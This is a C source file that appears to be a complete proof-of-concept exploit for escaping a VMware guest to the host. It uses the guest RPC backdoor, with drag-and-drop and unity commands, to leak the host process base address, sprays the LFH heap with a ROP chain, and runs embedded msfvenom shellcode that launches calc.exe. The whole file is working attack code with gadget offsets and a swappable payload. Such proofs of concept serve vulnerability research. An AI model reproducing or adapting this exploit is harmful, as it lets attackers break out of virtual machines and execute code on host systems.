#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "backdoor_def.h"
#include "message.h"
//#include "rpcout.h"

#pragma comment(lib,"Ws2_32.lib")

#define RPCI_PROTOCOL_NUM       0x49435052 /* 'RPCI' ;-) */
#define GUEST_RPC_CMD_STR_DND "dnd.transport "
#define GUEST_RPC_CMD_STR_CP  "copypaste.transport "
#define MAX_LFH_BLOCK 512




// call calc.exe (winx64) 
// msfvenom -p windows/x64/exec cMD=calc.exe -e x64/xor -b '\x00' -f c
// must be shorter than 0x400 bytes

unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\x05\xde\xee\x0c\x93\x45\x60\x5c\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xf9\x96\x6d\xe8\x63\xad"
"\xa0\x5c\x05\xde\xaf\x5d\xd2\x15\x32\x0d\x53\x96\xdf\xde\xf6"
"\x0d\xeb\x0e\x65\x96\x65\x5e\x8b\x0d\xeb\x0e\x25\x96\x65\x7e"
"\xc3\x0d\x6f\xeb\x4f\x94\xa3\x3d\x5a\x0d\x51\x9c\xa9\xe2\x8f"
"\x70\x91\x69\x40\x1d\xc4\x17\xe3\x4d\x92\x84\x82\xb1\x57\x9f"
"\xbf\x44\x18\x17\x40\xd7\x47\xe2\xa6\x0d\x43\xce\xe0\xd4\x05"
"\xde\xee\x44\x16\x85\x14\x3b\x4d\xdf\x3e\x5c\x18\x0d\x78\x18"
"\x8e\x9e\xce\x45\x92\x95\x83\x0a\x4d\x21\x27\x4d\x18\x71\xe8"
"\x14\x04\x08\xa3\x3d\x5a\x0d\x51\x9c\xa9\x9f\x2f\xc5\x9e\x04"
"\x61\x9d\x3d\x3e\x9b\xfd\xdf\x46\x2c\x78\x0d\x9b\xd7\xdd\xe6"
"\x9d\x38\x18\x8e\x9e\xca\x45\x92\x95\x06\x1d\x8e\xd2\xa6\x48"
"\x18\x05\x7c\x15\x04\x0e\xaf\x87\x97\xcd\x28\x5d\xd5\x9f\xb6"
"\x4d\xcb\x1b\x39\x06\x44\x86\xaf\x55\xd2\x1f\x28\xdf\xe9\xfe"
"\xaf\x5e\x6c\xa5\x38\x1d\x5c\x84\xa6\x87\x81\xac\x37\xa3\xfa"
"\x21\xb3\x44\x29\x44\x60\x5c\x05\xde\xee\x0c\x93\x0d\xed\xd1"
"\x04\xdf\xee\x0c\xd2\xff\x51\xd7\x6a\x59\x11\xd9\x28\xb5\xd5"
"\xfe\x53\x9f\x54\xaa\x06\xf8\xfd\xa3\xd0\x96\x6d\xc8\xbb\x79"
"\x66\x20\x0f\x5e\x15\xec\xe6\x40\xdb\x1b\x16\xac\x81\x66\x93"
"\x1c\x21\xd5\xdf\x21\x3b\x6f\xf2\x29\x03\x72\x60\xa6\x8b\x0c"
"\x93\x45\x60\x5c";



typedef
#pragma pack(push, 1)
struct DnDTransportPacketHeader {
	uint32 type;
	uint32 seqNum;
	uint32 totalSize;
	uint32 payloadSize;
	uint32 offset;
	uint8 payload[1];
}
#pragma pack(pop)
DnDTransportPacketHeader;

typedef enum
{
	DND_TRANSPORT_PACKET_TYPE_UNKNOWN = 0,
	DND_TRANSPORT_PACKET_TYPE_SINGLE,
	DND_TRANSPORT_PACKET_TYPE_REQUEST,
	DND_TRANSPORT_PACKET_TYPE_PAYLOAD,
} DND_TRANSPORT_PACKET_TYPE;


#define DND_TRANSPORT_PACKET_HEADER_SIZE      (5 * sizeof(uint32))
/* Close to 64k (maximum guestRpc message size). Leave some space for guestRpc header. */
#define DND_MAX_TRANSPORT_PACKET_SIZE         ((1 << 16) - 100)
#define DND_MAX_TRANSPORT_PACKET_PAYLOAD_SIZE (DND_MAX_TRANSPORT_PACKET_SIZE - \
	DND_TRANSPORT_PACKET_HEADER_SIZE)
#define DND_MAX_TRANSPORT_LATENCY_TIME        3 * 1000000 /* 3 seconds. */

typedef enum TransportInterfaceType {
	TRANSPORT_HOST_CONTROLLER_DND = 0,
	TRANSPORT_HOST_CONTROLLER_CP,
	TRANSPORT_HOST_CONTROLLER_FT,
	TRANSPORT_GUEST_CONTROLLER_DND,
	TRANSPORT_GUEST_CONTROLLER_CP,
	TRANSPORT_GUEST_CONTROLLER_FT,
	TRANSPORT_INTERFACE_MAX,
} TransportInterfaceType;

Message_Channel msgchl;

BOOL rpcstart()
{
	return Message_OpenAllocated(RPCI_PROTOCOL_NUM, &msgchl, 0, 0);
}

Bool rpcstop()
{
	return Message_CloseAllocated(&msgchl);
}

BOOL rpcsend(char *inbuf, size_t inlen, unsigned char**outbuf, size_t *outlen)
{
	size_t temp;
	if (!outlen)
	{
		outlen = &temp;
	}
	if (Message_Send(&msgchl, (const unsigned char*)inbuf, inlen) == FALSE) {
		return FALSE;
	}
	if (Message_Receive(&msgchl, outbuf, outlen) == FALSE) {

		return FALSE;
	}
	if (!*outbuf && !*outlen)
	{
		return TRUE;
	}
	if (*outlen < 2
		|| ((strncmp((const char *)*outbuf, "1 ", 2) == 0) == FALSE
		&& strncmp((const char *)outbuf, "0 ", 2))) {
		return FALSE;
	}
	*outlen -= 2;
	*outbuf += 2;
	return TRUE;
}

BOOL rpcsendstr(char *instr, unsigned char**outbuf, size_t *outlen)
{
	size_t inlen = strlen(instr);
	return rpcsend(instr, inlen, outbuf,outlen);
}
void setver4()
{
	unsigned char *myReply = 0;
	size_t myRepLen;

	if (!rpcsend("tools.capability.dnd_version 4", 31, &myReply, &myRepLen))
	{
		printf("Error in setver4:%s\n", (char*)myReply);
		return;
	}

	if (!rpcsend("vmx.capability.dnd_version", 26, &myReply, &myRepLen))
	{
		printf("Error in setver4:%s\n", (char*)myReply);
		return;
	}
//	printf("Current DnD Version %s\n", myReply);
}

void setver2()
{
	unsigned char *myReply = 0;
	size_t myRepLen;

	if (!rpcsend("tools.capability.dnd_version 2", 31, &myReply, &myRepLen))
	{
		printf("Error in setver2:%s\n", (char*)myReply);
		return;
	}

	if (!rpcsend("vmx.capability.dnd_version", 26, &myReply, &myRepLen))
	{
		printf("Error in setver2:%s\n", (char*)myReply);
		return;
	}
//	printf("Current DnD Version %s\n", myReply);
}


BOOL SetGlobalPointer(__int64 gadget)
{
	unsigned char *myReply = 0;
	size_t myRepLen;

	u_long low = gadget & 0xffffffff, nlow = 0;
	u_long high = (gadget >> 32), nhigh = 0;;

	nlow = htonl(low);
	nhigh = htonl(high);

	char tmp[0x100];
	RtlSecureZeroMemory(tmp, 0x100);

	memcpy(tmp, "unity.window.contents.start \x00\x00\x00\x01\x00\x00\x00\x01\xde\xad\xbe\xef", 40);
	memcpy(tmp + 40, &nlow, 4);
	memcpy(tmp + 44, &nhigh, 4);
	memcpy(tmp + 48, "\x00\x00\x02\x00", 4);

	if (!rpcsend(tmp, 52, &myReply, &myRepLen))
	{
		puts((char*)myReply);
		return FALSE;
	}
	return TRUE;
}

BOOL SendPacket(const uint8 *msg,size_t length)
{
	char *rpc = NULL;
	size_t rpcSize = 0;
	unsigned char *myReply = 0;
	size_t myRepLen;
	const char *cmd =GUEST_RPC_CMD_STR_DND;
	BOOL ret = true;

	rpcSize = strlen(cmd)+ length;
	rpc = new char[rpcSize];
	strcpy_s(rpc, rpcSize,cmd);

	if (length > 0) {
		memcpy(rpc + strlen(cmd), msg, length);
	}

	ret= rpcsend(rpc, rpcSize, &myReply, &myRepLen);

	if (!ret)
	{
		puts((char*)myReply);
	}
	delete (rpc);
	return ret;
}

BOOL DnDSendPacket(char *inbuf,size_t inbuflen,uint32 seq,uint32 totalsize,uint32 offset) 
{
	DnDTransportPacketHeader *packet;
	bool ret=false;

	packet = (DnDTransportPacketHeader *)new char[inbuflen + DND_TRANSPORT_PACKET_HEADER_SIZE];
	packet->type = DND_TRANSPORT_PACKET_TYPE_PAYLOAD;
	packet->seqNum =seq;
	packet->totalSize = totalsize;
	packet->payloadSize = inbuflen;
	packet->offset = offset;

	memcpy(packet->payload,inbuf,inbuflen);

	ret = SendPacket((uint8*)packet, inbuflen + DND_TRANSPORT_PACKET_HEADER_SIZE);
	delete packet;
	return ret;
}

char *memmem(const void *haystack, size_t haystack_len,
	const void * const needle, const size_t needle_len)
{
	if (haystack == NULL) return NULL; // or assert(haystack != NULL);
	if (haystack_len == 0) return NULL;
	if (needle == NULL) return NULL; // or assert(needle != NULL);
	if (needle_len == 0) return NULL;

	for (char *h = (char*)haystack;
		haystack_len >= needle_len;
		++h, --haystack_len) {
		if (!memcmp(h, needle, needle_len)) {
			return h;
		}
	}
	return NULL;
}

uint64 leak()
{
	uint64 leaked = 0xffffffffffffffff;
	while (true)
	{
		leaked = 0xffffffffffffffff;
		DnDSendPacket("testabcd", 8, 0x12345678, 8, 0);
		char *buf = (char *)infoleak();
		char* ptr = buf;

		while (1)
		{
			if (ptr + 3 > buf + 0x8000 - 3)
			{
				break;
			}
			ptr = memmem(ptr + 3, 0x8000 - (ptr + 3 - buf), "\x7f\x00\x00", 3);

			if (!ptr)
			{
				break;
			}

			unsigned int gap = ptr - buf;
			unsigned int low_gap = gap & 0xf;

			if (low_gap == 0x5 || low_gap == 0xd)
			{
				if (!memchr(ptr - 5, 0, 6))
				{
					uint64 temp = 0;
					memcpy(&temp, ptr - 5, 8);

					if (temp < leaked)
					{
						leaked = temp;
					}
				}
			}
		}
		unsigned int temp = leaked & 0xffff;
		if (temp == 0xeb4b || temp == 0xa66e)
		{
			leaked = (leaked & (~0xFFFF)) - 0x20000;
			break;
		}
		else if (temp == 0xa66e)
		{
			leaked = (leaked & (~0xFFFF)) - 0x20000;
			break;
		}
		else if (temp == 0x4194)
		{
			leaked = (leaked & (~0xFFFF));
			break;
		}
		else
		{
			continue;
		}
	}

	return leaked;
}


void main(int argc,char**argv)
{
	__try {
		unsigned char *myReply=0;
		size_t myRepLen;
		Sleep(3000);
		if (rpcstart())
		{
			char spary2[0x400] = { 0 };
			sprintf_s(spary2, "guest.upgrader_send_cmd_line_args %s", shellcode);
			rpcsendstr(spary2, &myReply, &myRepLen);

			uint64 base = leak();

			printf("Base: 0x%llx\n", base);

			uint64 gadget = base + 0x33700, mov_esp_ebx = base + 0x76916;
			uint64 fake_vt = base + 0xb87100 - 8;

			uint64 rwxmem = base + 0xb309a0;
			uint64 poprcx = base + 0x61553;
			uint64 popr8 = base + 0x33d72;
			uint64 poprax = base + 0x14e5b;
			uint64 mov_rdx_qword_rax_80 = base + 0x80887;
			uint64 f_memcpy = base + 0x753ba0;

			uint64 sc_ptr = base + 0xb857e0;

			if (!SetGlobalPointer(gadget))
			{
				puts("Error setting global pointer.");
				__leave;
			}


			uint64 payload[22] = { 0 };
			uint64 *ppayload = payload;
			
			*ppayload++ = fake_vt;
			*ppayload++ = poprax;
			*ppayload++ = sc_ptr - 0x80;
			*ppayload++ = mov_rdx_qword_rax_80;
			*ppayload++ = popr8;
			*ppayload++ = sizeof(shellcode) + 8;
			*ppayload++ = poprcx;
			*ppayload++ = rwxmem;
			*ppayload++ = f_memcpy;
			*ppayload++ = rwxmem;

			payload[20] = mov_esp_ebx;

			setver2();
			setver4();

			for (int i = 0; i < MAX_LFH_BLOCK; ++i)
			{
				setver2();
				setver4();
			}

			for (int i = 0; i < MAX_LFH_BLOCK; ++i)
			{
				Message_Channel *chan = Message_Open(0x49435052);
				if (chan == NULL)
				{
					puts("Message send error!");
					Sleep(100);
				}
				else
				{
					Message_SendSize(chan, 0xb0);
					Message_Send(chan, (const unsigned char*)payload, 0xa8); //just ret
					Message_Close(chan);
				}
			}

			
			setver2();
			setver4();
		

			Message_Channel *chans[5] = { 0 };
			for (int i = 0; i < 5; ++i)
			{
				chans[i] = Message_Open(0x49435052);
				if (chans[i])
				{
					Message_SendSize(chans[i], 0xb0); //just alloc
				}
				else
				{
					Message_Close(chans[i - 1]); //keep 1 channel valid
					chans[i - 1] = 0;
					break;
				}
			}
			// PrepareLFH();
			Message_Channel *c = 0;

			for (int i = 0; i < 5; ++i)
			{
				if (chans[i])
				{
					Message_SendHigh(chans[i], (const unsigned char*)payload, 0xa8);
					c = chans[i];
				}
			}

			
			rpcsendstr("dnd.enter 123", &myReply, &myRepLen);

//			puts((char*)myReply);
			puts("Done!");
		}
		else
		{
			puts("RPC Start Error!");
		}
	}
	__except (GetExceptionInformation() ?
	EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {
		fprintf(stderr, "Not vm error");
	}
}